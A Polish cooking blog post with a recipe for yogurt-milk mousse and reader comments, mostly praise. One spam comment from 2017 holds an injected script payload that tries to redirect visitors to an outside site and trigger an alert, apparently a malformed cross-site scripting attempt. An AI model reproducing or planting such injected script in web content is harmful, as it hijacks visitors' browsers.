Blog > Komentarze do wpisu
Mus jogurtowo-mleczny

mus jogurtowo mleczny

mus krem jogurtowo mleczny

Jak uzyskać smak jogurtowy? Dobre pytanie. Zawsze nad tym myślałam, wyjadając z paczki płatków zbożowych tylko te w polewie jogurtowej, albo jedząc cukierki z nadzieniem jogurtowym. Ale tak jakoś myślałam i myślałam tylko w teorii. Do czasu, kiedy z dala od domu w przypadkowym sklepie na dworcu kupiłam babeczki z kremem jogurtowym w polewie jogurtowej. Były tak dobre, że przy następnym pobycie w Warszawie poszłam specjalnie do tego samego sklepu po te same ciastka. I już w Gdańsku przeszłam do praktyki, wymyślając przepis na mus, który doskonale odwzorował nadzienie z babeczek. Wprawdzie u mnie w wydaniu bez dodatków, ale widzę go zarówno jako krem na biszkopcie, jak i nadzienie do tarty i tarteletek. Myślę też, że nie zaszkodziłoby mu dodanie stopionej białej czekolady albo musu owocowego. Jednym słowem, jestem z siebie zadowolona. :D

200 g jogurtu naturalnego

200 g mleka w proszku

120 g cukru

200 ml śmietanki kremówki 30 lub 36%

2 łyżeczki żelatyny

 

Jogurt miksujemy z cukrem i przesianym mlekiem. Stopniowo dolewamy śmietankę, ciągle ubijając.

Żelatynę rozpuszczamy w 2 łyżkach chłodnej wody. Kiedy napęcznieje, podgrzewamy do rozpuszczenia i mieszamy z łyżką kremu. Dolewamy do reszty kremu i porządnie mieszamy. Przelewamy do pucharków i odstawiamy do zastygnięcia.

 

Aaa, chciałabym też podziękować za wyróżnienia w Versatile Blog Award, ale myślę, że nie byłoby już sensu w każdym z nich przekazywać pałeczki dalej, bo wszyscy najbardziej przeze mnie cenieni zostali już nominowani przez kogoś innego. :)

środa, 12 września 2012, cukrowawrozka

Polecane wpisy

Komentarze
mikimama
2012/09/12 20:45:02
Doskonały!
-
Gość: PannaNie, *.dolnet.pl
2012/09/12 21:05:55
Piękne zdjęcia!
-
Gość: , 91.240.30.*
2012/09/12 21:07:38
wygląda cudnie, muszę wypróbować przepis bo lubię takie smaki :)
-
Gość: Paulina, *.jmdi.pl
2012/09/12 21:35:57
Uroczy. Zaskakuje swoją delikatnością. Uwielbiam Twoje przepisy! Są świetne i mają w sobie coś więcej niż tylko opis, a jakiegoś rodzaju magię.
Pozdrawiam
-
majanaboxing
2012/09/12 22:20:52
Śliczne zdjęcia Wrózko!
Delikatny,piękny deser.
-
dusiowaa
2012/09/12 23:01:37
o fajniutki przepis:))))
-
Gość: Ola, *.ustka.vectranet.pl
2012/09/12 23:05:17
lubie! :)
-
Gość: kaczodajnia, 91.229.22.*
2012/09/13 08:07:45
Ślicznie się prezentuje
-
Gość: anula, *.dynamic.chello.pl
2012/09/13 11:55:52
Musi być pyszny, bo tak wygląda
-
Gość: wiedźma_florentyna, *.neoplus.adsl.tpnet.pl
2012/09/13 21:21:56
myliłby się ktoś myśląc,że mus jogurtowy mało kaloryczny jest ;)
ale kiedyś z przepisu na pewno skorzystam - za pozwoleniem
-
Gość: Kasia z Wrocławia, *.static.korbank.pl
2012/09/14 00:59:32
Dodaję przepis do ulubionych, brzmi pysznie i jest prościutki. Niedługo będę robić po raz pierwszy w życiu kruche babeczki, myślę że się nada ;) Pozdrowienia Wróżko! :)
-
kucharnia
2012/09/14 11:13:01
Wróżko! Taki mus to mus! Śliczne zdjęcia.
Pozdrowienia:)
-
Gość: Patii.pl, *.neoplus.adsl.tpnet.pl
2012/09/16 12:42:57
jeju.... koniecznie będę musiała tego spróbować ! Wygląda apetycznie :)
-
Gość: ann., *.serv-net.pl
2012/09/17 18:41:45
też wyjadam zawsze tylko płatki w polewie jogurtowej:) a przepis koniecznie wypróbuję!
ściskam cieplutko;)
-
Gość: Ż, *.neoplus.adsl.tpnet.pl
2012/11/17 12:44:56
Witam, czy dużo wychodzi tego musu? Zamierzam użyć go do biszkoptu na standardową, dużą blaszkę.
Pozdrawiam : )
-
Gość: suoerb, *.blockone.eu
2017/11/03 23:38:05
<script>window.location.href = "www.lonet.eu;</script><script>alert(hej);</script>czesc



Będzie mi miło,
jeśli po wypróbowaniu
przepisu zamieścisz swoją opinię.
Będzie to przydatne
dla mnie i innych.
Dziękuję. :]













my foodgawker gallery




Durszlak.pl

Liczniki
banerek
polonia_telegram468x60


Zdjęcia i treści zamieszczone
na blogu są moją
własnością i nie zgadzam się
na ich wykorzystywanie
bez mojej zgody.